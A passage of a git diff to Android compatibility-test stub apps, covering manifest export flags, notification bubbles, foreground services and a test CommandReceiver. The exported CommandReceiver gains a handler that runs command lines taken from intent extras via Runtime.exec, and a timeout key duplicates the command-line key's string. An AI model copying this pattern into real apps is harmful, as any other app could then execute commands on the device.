+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.app.stubs.FragmentTestActivity"
-            android:label="FragmentTestActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
-            </intent-filter>
-        </activity>
-
-        <activity android:name="android.app.stubs.FragmentResultActivity" android:label="FragmentResultActivity" />
-
-        <activity android:name="android.app.stubs.LauncherActivityStub"
-                  android:label="LauncherActivityStub" >
+             android:label="FragmentTestActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="android.app.stubs.MockTabActivity" android:label="MockTabActivity" />
+        <activity android:name="android.app.stubs.FragmentResultActivity"
+             android:label="FragmentResultActivity"/>
 
-        <activity android:name="android.app.stubs.MockListActivity" android:label="MockListActivity" />
-
-        <activity android:name="android.app.stubs.AppStubActivity" android:label="AppStubActivity">
+        <activity android:name="android.app.stubs.LauncherActivityStub"
+             android:label="LauncherActivityStub"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.app.stubs.shared.NotificationHostActivity"
+            android:label="NotificationHostActivity"/>
+
+        <activity android:name="android.app.stubs.MockTabActivity"
+             android:label="MockTabActivity"/>
+
+        <activity android:name="android.app.stubs.MockListActivity"
+             android:label="MockListActivity"/>
+
+        <activity android:name="android.app.stubs.AppStubActivity"
+             android:label="AppStubActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.app.stubs.DialogStubActivity"
-                  android:label="DialogStubActivity">
+             android:label="DialogStubActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.app.stubs.ActivityManagerStubFooActivity"
-            android:label="ActivityManagerStubFooActivity">
+             android:label="ActivityManagerStubFooActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.app.stubs.ActivityManagerRecentOneActivity"
-            android:label="ActivityManagerRecentOneActivity"
-            android:allowTaskReparenting="true"
-            android:taskAffinity="android.app.stubs.recentOne">
+             android:label="ActivityManagerRecentOneActivity"
+             android:allowTaskReparenting="true"
+             android:taskAffinity="android.app.stubs.recentOne"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.app.stubs.ActivityManagerRecentTwoActivity"
-            android:label="ActivityManagerRecentTwoActivity"
-            android:allowTaskReparenting="true"
-            android:taskAffinity="android.app.stubs.recentTwo">
+             android:label="ActivityManagerRecentTwoActivity"
+             android:allowTaskReparenting="true"
+             android:taskAffinity="android.app.stubs.recentTwo"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.app.stubs.ActivityManagerStubCrashActivity"
-            android:label="ActivityManagerStubCrashActivity"
-            android:multiprocess="true"
-            android:process=":ActivityManagerStubCrashActivity">
+             android:label="ActivityManagerStubCrashActivity"
+             android:multiprocess="true"
+             android:process=":ActivityManagerStubCrashActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
 
         <service android:name="android.app.stubs.StubRemoteService"
-            android:process=":remote">
+             android:process=":remote"
+             android:exported="true">
             <intent-filter>
-                <action
-                    android:name="android.app.stubs.ISecondary" />
-                <action
-                    android:name="android.app.REMOTESERVICE" />
+                <action android:name="android.app.stubs.ISecondary"/>
+                <action android:name="android.app.REMOTESERVICE"/>
             </intent-filter>
         </service>
 
         <activity android:name="android.app.ActivityGroup"
-            android:label="ActivityGroup" />
+             android:label="ActivityGroup"/>
 
         <activity android:name="android.app.stubs.KeyguardManagerActivity"
-            android:label="KeyguardManagerActivity">
+             android:label="KeyguardManagerActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <service android:name="android.app.stubs.IntentServiceStub"/>
 
         <activity android:name="android.app.stubs.LaunchpadActivity"
-                  android:configChanges="keyboardHidden|orientation|screenSize"
-                  android:multiprocess="true">
+             android:configChanges="keyboardHidden|orientation|screenSize"
+             android:multiprocess="true">
         </activity>
 
-        <activity android:name="android.app.stubs.ActivityManagerMemoryClassLaunchActivity" />
+        <activity android:name="android.app.stubs.ActivityManagerMemoryClassLaunchActivity"/>
 
         <activity android:name="android.app.stubs.ActivityManagerMemoryClassTestActivity"
-                android:process=":memoryclass" />
+             android:process=":memoryclass"/>
 
         <activity android:name="android.app.stubs.PipNotSupportedActivity"
-                  android:label="PipNotSupportedActivity"
-                  android:resizeableActivity="true"
-                  android:supportsPictureInPicture="false"
-                  android:configChanges="smallestScreenSize|orientation|screenSize|screenLayout">
+             android:label="PipNotSupportedActivity"
+             android:resizeableActivity="true"
+             android:supportsPictureInPicture="false"
+             android:configChanges="smallestScreenSize|orientation|screenSize|screenLayout"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="android.app.stubs.KeyboardShortcutsActivity" />
+        <activity android:name="android.app.stubs.KeyboardShortcutsActivity"/>
 
         <activity android:name="android.app.stubs.NewDocumentTestActivity"
-                  android:documentLaunchMode="intoExisting" />
+             android:documentLaunchMode="intoExisting"/>
 
         <activity android:name="android.app.stubs.DisplayTestActivity"
-            android:configChanges="smallestScreenSize|orientation|screenSize|screenLayout" />
+             android:configChanges="smallestScreenSize|orientation|screenSize|screenLayout"/>
 
         <activity android:name="android.app.stubs.ToolbarActivity"
-                  android:theme="@android:style/Theme.Material.Light.NoActionBar" />
+             android:theme="@android:style/Theme.Material.Light.NoActionBar"/>
 
-        <service
-            android:name="android.app.stubs.LiveWallpaper"
-            android:icon="@drawable/robot"
-            android:label="@string/wallpaper_title"
-            android:permission="android.permission.BIND_WALLPAPER">
+        <service android:name="android.app.stubs.LiveWallpaper"
+             android:icon="@drawable/robot"
+             android:label="@string/wallpaper_title"
+             android:permission="android.permission.BIND_WALLPAPER"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.service.wallpaper.WallpaperService">
                 </action>
             </intent-filter>
-            <meta-data
-                android:name="android.service.wallpaper"
-                android:resource="@xml/wallpaper">
+            <meta-data android:name="android.service.wallpaper"
+                 android:resource="@xml/wallpaper">
             </meta-data>
         </service>
 
         <service android:name="android.app.stubs.TestNotificationListener"
-                 android:exported="true"
-                 android:label="TestNotificationListener"
-                 android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+             android:exported="true"
+             android:label="TestNotificationListener"
+             android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
             <intent-filter>
-                <action android:name="android.service.notification.NotificationListenerService" />
+                <action android:name="android.service.notification.NotificationListenerService"/>
             </intent-filter>
         </service>
 
         <service android:name="android.app.stubs.TestTileService"
-                 android:exported="true"
-                 android:label="TestTileService"
-                 android:icon="@drawable/robot"
-                 android:permission="android.permission.BIND_QUICK_SETTINGS_TILE">
+             android:exported="true"
+             android:label="TestTileService"
+             android:icon="@drawable/robot"
+             android:permission="android.permission.BIND_QUICK_SETTINGS_TILE">
             <intent-filter>
-                <action android:name="android.service.quicksettings.action.QS_TILE" />
+                <action android:name="android.service.quicksettings.action.QS_TILE"/>
             </intent-filter>
         </service>
 
         <service android:name="android.app.stubs.ToggleableTestTileService"
-                 android:exported="true"
-                 android:label="BooleanTestTileService"
-                 android:icon="@drawable/robot"
-                 android:permission="android.permission.BIND_QUICK_SETTINGS_TILE">
+             android:exported="true"
+             android:label="BooleanTestTileService"
+             android:icon="@drawable/robot"
+             android:permission="android.permission.BIND_QUICK_SETTINGS_TILE">
             <intent-filter>
-                <action android:name="android.service.quicksettings.action.QS_TILE" />
+                <action android:name="android.service.quicksettings.action.QS_TILE"/>
             </intent-filter>
             <meta-data android:name="android.service.quicksettings.TOGGLEABLE_TILE"
-                       android:value="true"/>
+                 android:value="true"/>
         </service>
 
-        <activity android:name="android.app.stubs.AutomaticZenRuleActivity">
+        <activity android:name="android.app.stubs.AutomaticZenRuleActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.app.action.AUTOMATIC_ZEN_RULE" />
+                <action android:name="android.app.action.AUTOMATIC_ZEN_RULE"/>
             </intent-filter>
             <meta-data android:name="android.service.zen.automatic.ruleType"
-                       android:value="@string/automatic_zen_rule_name" />
+                 android:value="@string/automatic_zen_rule_name"/>
             <meta-data android:name="android.service.zen.automatic.ruleInstanceLimit"
-                       android:value="2" />
+                 android:value="2"/>
         </activity>
 
         <receiver android:name="android.app.stubs.CommandReceiver"
-                  android:exported="true" />
+             android:exported="true"/>
 
         <activity android:name="android.app.stubs.SendBubbleActivity"
-                  android:turnScreenOn="true">
+             android:turnScreenOn="true"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <action android:name="android.intent.action.SEND" />
-                <data android:mimeType="text/plain" />
-                <data android:mimeType="image/*" />
+                <action android:name="android.intent.action.VIEW"/>
+                <action android:name="android.intent.action.SEND"/>
+                <data android:mimeType="text/plain"/>
+                <data android:mimeType="image/*"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.app.stubs.BubbledActivity"
-                  android:resizeableActivity="true"/>
+             android:resizeableActivity="true"/>
 
         <service android:name="android.app.stubs.BubblesTestService"
-                 android:label="BubblesTestsService"
-                 android:exported="true">
+             android:label="BubblesTestsService"
+             android:exported="true">
         </service>
 
-        <service android:name="android.app.stubs.LocalAlertService" />
+        <service android:name="android.app.stubs.LocalAlertService"/>
 
         <activity android:name=".SimpleActivity"
-                  android:excludeFromRecents="true">
+             android:excludeFromRecents="true"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
 
             <meta-data android:name="android.app.shortcuts"
-                       android:resource="@xml/shortcuts" />
+                 android:resource="@xml/shortcuts"/>
         </activity>
 
+        <service android:name="android.app.stubs.TrimMemService"
+            android:exported="true"
+            android:isolatedProcess="true">
+        </service>
+
+        <service android:name=".CloseSystemDialogsTestService"
+            android:exported="true" />
     </application>
 
 </manifest>
-
diff --git a/tests/app/app/src/android/app/stubs/BubbledActivity.java b/tests/app/app/src/android/app/stubs/BubbledActivity.java
index 9974c88..49f6a0e 100644
--- a/tests/app/app/src/android/app/stubs/BubbledActivity.java
+++ b/tests/app/app/src/android/app/stubs/BubbledActivity.java
@@ -17,6 +17,7 @@
 package android.app.stubs;
 
 import android.app.Activity;
+import android.content.Intent;
 import android.os.Bundle;
 
 /**
@@ -24,11 +25,17 @@
  * within the bubble.
  */
 public class BubbledActivity extends Activity {
-    final String TAG = BubbledActivity.class.getSimpleName();
+
+    boolean mIsBubbled = false;
 
     @Override
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.main);
+        mIsBubbled = getIntent().getBooleanExtra(Intent.EXTRA_IS_BUBBLED, false);
+    }
+
+    public boolean isBubbled() {
+        return mIsBubbled;
     }
 }
diff --git a/tests/app/app/src/android/app/stubs/BubblesTestService.java b/tests/app/app/src/android/app/stubs/BubblesTestService.java
index fef0e68..a3bf4f7 100644
--- a/tests/app/app/src/android/app/stubs/BubblesTestService.java
+++ b/tests/app/app/src/android/app/stubs/BubblesTestService.java
@@ -16,8 +16,6 @@
 
 package android.app.stubs;
 
-import static android.app.Notification.CATEGORY_CALL;
-
 import android.app.Notification;
 import android.app.PendingIntent;
 import android.app.Person;
@@ -61,13 +59,14 @@
     private Notification getNotificationForTest(int testCase, Context context) {
         final Intent intent = new Intent(context, SendBubbleActivity.class);
         final PendingIntent pendingIntent =
-                PendingIntent.getActivity(getApplicationContext(), 0, intent, 0);
+                PendingIntent.getActivity(getApplicationContext(), 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Person person = new Person.Builder()
                 .setName("bubblebot")
                 .build();
         Notification.Builder nb = new Notification.Builder(context, NOTIFICATION_CHANNEL_ID)
                 .setContentTitle("foofoo")
                 .setContentIntent(pendingIntent)
+                .setShowForegroundImmediately(true)
                 .setSmallIcon(android.R.drawable.sym_def_app_icon)
                 .setStyle(new Notification.MessagingStyle(person)
                         .setConversationTitle("Bubble Chat")
diff --git a/tests/app/app/src/android/app/stubs/CommandReceiver.java b/tests/app/app/src/android/app/stubs/CommandReceiver.java
index 5a13eab..b34eece 100644
--- a/tests/app/app/src/android/app/stubs/CommandReceiver.java
+++ b/tests/app/app/src/android/app/stubs/CommandReceiver.java
@@ -26,9 +26,12 @@
 import android.os.Binder;
 import android.os.Bundle;
 import android.os.IBinder;
+import android.os.Parcel;
 import android.util.ArrayMap;
 import android.util.Log;
 
+import java.util.concurrent.TimeUnit;
+
 public class CommandReceiver extends BroadcastReceiver {
 
     private static final String TAG = "CommandReceiver";
@@ -49,10 +52,20 @@
     public static final int COMMAND_CREATE_FGSL_PENDING_INTENT = 12;
     public static final int COMMAND_SEND_FGSL_PENDING_INTENT = 13;
     public static final int COMMAND_BIND_FOREGROUND_SERVICE = 14;
+    public static final int COMMAND_START_CHILD_PROCESS = 15;
+    public static final int COMMAND_STOP_CHILD_PROCESS = 16;
+    public static final int COMMAND_WAIT_FOR_CHILD_PROCESS_GONE = 17;
+
+    public static final int RESULT_CHILD_PROCESS_STARTED = IBinder.FIRST_CALL_TRANSACTION;
+    public static final int RESULT_CHILD_PROCESS_STOPPED = IBinder.FIRST_CALL_TRANSACTION + 1;
+    public static final int RESULT_CHILD_PROCESS_GONE = IBinder.FIRST_CALL_TRANSACTION + 2;
 
     public static final String EXTRA_COMMAND = "android.app.stubs.extra.COMMAND";
     public static final String EXTRA_TARGET_PACKAGE = "android.app.stubs.extra.TARGET_PACKAGE";
     public static final String EXTRA_FLAGS = "android.app.stubs.extra.FLAGS";
+    public static final String EXTRA_CALLBACK = "android.app.stubs.extra.callback";
+    public static final String EXTRA_CHILD_CMDLINE = "android.app.stubs.extra.child_cmdline";
+    public static final String EXTRA_TIMEOUT = "android.app.stubs.extra.child_cmdline";
 
     public static final String SERVICE_NAME = "android.app.stubs.LocalService";
     public static final String FG_SERVICE_NAME = "android.app.stubs.LocalForegroundService";
@@ -69,6 +82,9 @@
     // Map a packageName to a PendingIntent.
     private static ArrayMap<String, PendingIntent> sPendingIntent = new ArrayMap<>();
 
+    /** The child process, started via {@link #COMMAND_START_CHILD_PROCESS} */
+    private static Process sChildProcess;
+
     /**
      * Handle the different types of binding/unbinding requests.
      * @param context The Context in which the receiver is running.
@@ -124,6 +140,15 @@
             case COMMAND_BIND_FOREGROUND_SERVICE:
                 doBindService(context, intent, FG_LOCATION_SERVICE_NAME);
                 break;
+            case COMMAND_START_CHILD_PROCESS:
+                doStartChildProcess(context, intent);
+                break;
+            case COMMAND_STOP_CHILD_PROCESS:
+                doStopChildProcess(context, intent);
+                break;
+            case COMMAND_WAIT_FOR_CHILD_PROCESS_GONE:
+                doWaitForChildProcessGone(context, intent);
+                break;
         }
     }
 
@@ -150,7 +175,11 @@
         fgsIntent.setComponent(new ComponentName(targetPackage, FG_SERVICE_NAME));
         int command = LocalForegroundService.COMMAND_START_FOREGROUND;
         fgsIntent.putExtras(LocalForegroundService.newCommand(new Binder(), command));
-        context.startForegroundService(fgsIntent);
+        try {
+            context.startForegroundService(fgsIntent);
+        } catch (IllegalStateException e) {
+            Log.d(TAG, "startForegroundService gets an IllegalStateException", e);
+        }
     }
 
     private void doStartForegroundServiceWithType(Context context, Intent commandIntent) {
@@ -160,7 +189,11 @@
         fgsIntent.setComponent(new ComponentName(targetPackage, FG_LOCATION_SERVICE_NAME));
         int command = LocalForegroundServiceLocation.COMMAND_START_FOREGROUND_WITH_TYPE;
         fgsIntent.putExtras(LocalForegroundService.newCommand(new Binder(), command));
-        context.startForegroundService(fgsIntent);
+        try {
+            context.startForegroundService(fgsIntent);
+        } catch (IllegalStateException e) {
+            Log.d(TAG, "startForegroundService gets an IllegalStateException", e);
+        }
     }
 
     private void doStopForegroundService(Context context, Intent commandIntent,
@@ -187,10 +220,12 @@
         ActivityManager am = context.getSystemService(ActivityManager.class);
         am.appNotResponding("CTS - self induced");
     }
+
     private void doStartActivity(Context context, Intent commandIntent) {
         String targetPackage = getTargetPackage(commandIntent);
         Intent activityIntent = new Intent(Intent.ACTION_MAIN);
         sActivityIntent.put(targetPackage, activityIntent);
+        activityIntent.putExtras(commandIntent);
         activityIntent.setComponent(new ComponentName(targetPackage, ACTIVITY_NAME));
         activityIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         context.startActivity(activityIntent);
@@ -211,7 +246,7 @@
         int command = LocalForegroundServiceLocation.COMMAND_START_FOREGROUND_WITH_TYPE;
         intent.putExtras(LocalForegroundService.newCommand(new Binder(), command));
         final PendingIntent pendingIntent = PendingIntent.getForegroundService(context, 0,
-                intent, 0);
+                intent, PendingIntent.FLAG_IMMUTABLE);
         sPendingIntent.put(targetPackage, pendingIntent);
     }
 
@@ -224,6 +259,71 @@
         }
     }
 
+    private void doStartChildProcess(Context context, Intent intent) {
+        final Bundle extras = intent.getExtras();
+        final IBinder callback = extras.getBinder(EXTRA_CALLBACK);
+        final String[] cmdline = extras.getStringArray(EXTRA_CHILD_CMDLINE);
+        final Parcel data = Parcel.obtain();
+        final Parcel reply = Parcel.obtain();
+
+        try {
+            sChildProcess = Runtime.getRuntime().exec(cmdline);
+            if (sChildProcess != null) {
+                Log.i(TAG, "Forked child: " + sChildProcess);
+                callback.transact(RESULT_CHILD_PROCESS_STARTED, data, reply, 0);
+            } // else the remote will fail with timeout
+        } catch (Exception e) {
+            Log.e(TAG, "Unable to execute command", e);
+            sChildProcess = null;
+        } finally {
+            data.recycle();
+            reply.recycle();
+        }
+    }
+
+    private void doStopChildProcess(Context context, Intent intent) {
+        final Bundle extras = intent.getExtras();
+        final IBinder callback = extras.getBinder(EXTRA_CALLBACK);
+        final long timeout = extras.getLong(EXTRA_TIMEOUT);
+        waitForChildProcessGone(true, callback, RESULT_CHILD_PROCESS_STOPPED, timeout);
+    }
+
+    private void doWaitForChildProcessGone(Context context, Intent intent) {
+        final Bundle extras = intent.getExtras();
+        final IBinder callback = extras.getBinder(EXTRA_CALLBACK);
+        final long timeout = extras.getLong(EXTRA_TIMEOUT);
+        waitForChildProcessGone(false, callback, RESULT_CHILD_PROCESS_GONE, timeout);
+    }
+
+    private static synchronized void waitForChildProcessGone(final boolean destroy,
+            final IBinder callback, final int transactionCode, final long timeout) {
+        if (destroy) {
+            sChildProcess.destroy();
+        }
+        new Thread(() -> {
+            final Parcel data = Parcel.obtain();
+            final Parcel reply = Parcel.obtain();
+            try {
+                if (sChildProcess != null && sChildProcess.isAlive()) {
+                    final boolean exit = sChildProcess.waitFor(timeout, TimeUnit.MILLISECONDS);
+                    if (exit) {
+                        Log.i(TAG, "Child process died: " + sChildProcess);
+                        callback.transact(transactionCode, data, reply, 0);
+                    } else {
+                        Log.w(TAG, "Child process is still alive: " + sChildProcess);
+                    }
+                } else {
+                    callback.transact(transactionCode, data, reply, 0);
+                }
+            } catch (Exception e) {
+                Log.e(TAG, "Error", e);
+            } finally {
+                data.recycle();
+                reply.recycle();
+            }
+        }).start();
+    }
+
     private String getTargetPackage(Intent intent) {
         return intent.getStringExtra(EXTRA_TARGET_PACKAGE);
     }
@@ -234,6 +334,21 @@
 
     public static void sendCommand(Context context, int command, String sourcePackage,
             String targetPackage, int flags, Bundle extras) {
+        final Intent intent = makeIntent(command, sourcePackage, targetPackage, flags, extras);
+        Log.d(TAG, "Sending broadcast " + intent);
+        context.sendOrderedBroadcast(intent, null);
+    }
+
+    public static void sendCommandWithBroadcastOptions(Context context, int command,
+            String sourcePackage, String targetPackage, int flags, Bundle extras,
+            Bundle broadcastOptions) {
+        final Intent intent = makeIntent(command, sourcePackage, targetPackage, flags, extras);
+        Log.d(TAG, "Sending broadcast with BroadcastOptions " + intent);
+        context.sendOrderedBroadcast(intent, null, broadcastOptions, null, null, 0, null, null);
+    }
+
+    private static Intent makeIntent(int command, String sourcePackage,
+            String targetPackage, int flags, Bundle extras) {
         Intent intent = new Intent();
         if (command == COMMAND_BIND_SERVICE || command == COMMAND_START_FOREGROUND_SERVICE) {
             intent.setFlags(Intent.FLAG_RECEIVER_FOREGROUND);
@@ -245,12 +360,7 @@
         if (extras != null) {
             intent.putExtras(extras);
         }
-        sendCommand(context, intent);
-    }
-
-    private static void sendCommand(Context context, Intent intent) {
-        Log.d(TAG, "Sending broadcast " + intent);
-        context.sendOrderedBroadcast(intent, null);
+        return intent;
     }
 
     private ServiceConnection addServiceConnection(final String packageName) {
diff --git a/tests/app/app/src/android/app/stubs/LocalAlertService.java b/tests/app/app/src/android/app/stubs/LocalAlertService.java
index 52dbc58..b800c5b 100644
--- a/tests/app/app/src/android/app/stubs/LocalAlertService.java
+++ b/tests/app/app/src/android/app/stubs/LocalAlertService.java
@@ -15,24 +15,22 @@
  */
 package android.app.stubs;
 
+import static android.view.Gravity.LEFT;
+import static android.view.Gravity.TOP;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+
 import android.app.Service;
 import android.content.Intent;
 import android.graphics.Color;
 import android.graphics.Point;
-import android.os.Bundle;
 import android.os.IBinder;
-import android.util.Log;
 import android.view.View;
 import android.view.WindowManager;
 import android.widget.TextView;
 
-import static android.view.Gravity.LEFT;
-import static android.view.Gravity.TOP;
-import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
-import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
-import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
-import static android.view.WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH;
-
 public class LocalAlertService extends Service {
     public static final String COMMAND_SHOW_ALERT = "show";
     public static final String COMMAND_HIDE_ALERT = "hide";
@@ -48,6 +46,7 @@
         } else if (COMMAND_HIDE_ALERT.equals(action)) {
             hideAlertWindow(mAlertWindow);
             mAlertWindow = null;
+            stopSelf();
         }
         return START_NOT_STICKY;
     }
diff --git a/tests/app/app/src/android/app/stubs/LocalForegroundService.java b/tests/app/app/src/android/app/stubs/LocalForegroundService.java
index 3051a18..aef1bc2 100644
--- a/tests/app/app/src/android/app/stubs/LocalForegroundService.java
+++ b/tests/app/app/src/android/app/stubs/LocalForegroundService.java
@@ -42,6 +42,7 @@
     public static final int COMMAND_STOP_FOREGROUND_DETACH_NOTIFICATION = 4;
     public static final int COMMAND_STOP_FOREGROUND_REMOVE_NOTIFICATION_USING_FLAGS = 5;
     public static final int COMMAND_START_NO_FOREGROUND = 6;
+    public static final int COMMAND_START_FOREGROUND_DEFER_NOTIFICATION = 7;
 
     private int mNotificationId = 0;
 
@@ -65,21 +66,25 @@
                 NotificationManager.IMPORTANCE_DEFAULT));
 
         Context context = getApplicationContext();
-        int command = intent.getIntExtra(EXTRA_COMMAND, -1);
+        final int command = intent.getIntExtra(EXTRA_COMMAND, -1);
 
         Log.d(TAG, "service start cmd " + command + ", intent " + intent);
 
         switch (command) {
             case COMMAND_START_FOREGROUND:
+            case COMMAND_START_FOREGROUND_DEFER_NOTIFICATION: {
                 mNotificationId ++;
+                final boolean showNow = (command == COMMAND_START_FOREGROUND);
                 Log.d(TAG, "Starting foreground using notification " + mNotificationId);
                 Notification notification =
                         new Notification.Builder(context, NOTIFICATION_CHANNEL_ID)
                                 .setContentTitle(getNotificationTitle(mNotificationId))
                                 .setSmallIcon(R.drawable.black)
+                                .setShowForegroundImmediately(showNow)
                                 .build();
                 startForeground(mNotificationId, notification);
                 break;
+            }
             case COMMAND_STOP_FOREGROUND_REMOVE_NOTIFICATION:
                 Log.d(TAG, "Stopping foreground removing notification");
                 stopForeground(true);
diff --git a/tests/app/app/src/android/app/stubs/SendBubbleActivity.java b/tests/app/app/src/android/app/stubs/SendBubbleActivity.java
index 1cbd70f..19b45e3 100644
--- a/tests/app/app/src/android/app/stubs/SendBubbleActivity.java
+++ b/tests/app/app/src/android/app/stubs/SendBubbleActivity.java
@@ -61,14 +61,17 @@
     public void sendInvalidBubble(boolean autoExpand) {
         Context context = getApplicationContext();
 
-        PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, new Intent(), 0);
+        PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, new Intent(),
+                PendingIntent.FLAG_MUTABLE);
         Notification n = new Notification.Builder(context, NOTIFICATION_CHANNEL_ID)
                 .setSmallIcon(R.drawable.black)
                 .setWhen(System.currentTimeMillis())
                 .setContentTitle("notify#" + BUBBLE_NOTIF_ID)
                 .setContentText("This is #" + BUBBLE_NOTIF_ID + "notification  ")
                 .setContentIntent(pendingIntent)
-                .setBubbleMetadata(getBubbleMetadata(autoExpand, false /* suppressNotification */))
+                .setBubbleMetadata(getBubbleMetadata(autoExpand,
+                        false /* suppressNotification */,
+                        false /* useShortcut */))
                 .build();
 
         NotificationManager noMan = (NotificationManager) context.getSystemService(
@@ -78,6 +81,11 @@
 
     /** Sends a notification that is properly configured to bubble. */
     public void sendBubble(boolean autoExpand, boolean suppressNotification) {
+        sendBubble(autoExpand, suppressNotification, false /* useShortcut */);
+    }
+
+    /** Sends a notification that is properly configured to bubble. */
+    public void sendBubble(boolean autoExpand, boolean suppressNotification, boolean useShortcut) {
         Context context = getApplicationContext();
         // Give it a person
         Person person = new Person.Builder()
@@ -95,7 +103,7 @@
                         .addMessage("Is it me you're looking for?",
                                 SystemClock.currentThreadTimeMillis(), person)
                 )
-                .setBubbleMetadata(getBubbleMetadata(autoExpand, suppressNotification))
+                .setBubbleMetadata(getBubbleMetadata(autoExpand, suppressNotification, useShortcut))
                 .build();
 
         NotificationManager noMan = (NotificationManager) context.getSystemService(
@@ -103,19 +111,29 @@
         noMan.notify(BUBBLE_NOTIF_ID, n);
     }
 
-    private BubbleMetadata getBubbleMetadata(boolean autoExpand, boolean suppressNotification) {
-        Context context = getApplicationContext();
-        final Intent intent = new Intent(context, BubbledActivity.class);
-        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        intent.setAction(Intent.ACTION_MAIN);
-        final PendingIntent pendingIntent =
-                PendingIntent.getActivity(context, 0, intent, 0);
+    private BubbleMetadata getBubbleMetadata(boolean autoExpand,
+            boolean suppressNotification,
+            boolean useShortcut) {
+        if (useShortcut) {
+            return new Notification.BubbleMetadata.Builder(SHARE_SHORTCUT_ID)
+                    .setAutoExpandBubble(autoExpand)
+                    .setSuppressNotification(suppressNotification)
+                    .build();
+        } else {
+            Context context = getApplicationContext();
+            final Intent intent = new Intent(context, BubbledActivity.class);
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            intent.setAction(Intent.ACTION_MAIN);
+            final PendingIntent pendingIntent =
+                    PendingIntent.getActivity(context, 0, intent,
+                            PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
-        return new Notification.BubbleMetadata.Builder(pendingIntent,
-                Icon.createWithResource(context, R.drawable.black))
-                .setAutoExpandBubble(autoExpand)
-                .setSuppressNotification(suppressNotification)
-                .build();
+            return new Notification.BubbleMetadata.Builder(pendingIntent,
+                    Icon.createWithResource(context, R.drawable.black))
+                    .setAutoExpandBubble(autoExpand)
+                    .setSuppressNotification(suppressNotification)
+                    .build();
+        }
     }
 
     /** Waits for the activity to be stopped. Do not call this method on main thread. */
diff --git a/tests/app/app/src/android/app/stubs/SimpleActivity.java b/tests/app/app/src/android/app/stubs/SimpleActivity.java
index a98c117..c1a19db 100644
--- a/tests/app/app/src/android/app/stubs/SimpleActivity.java
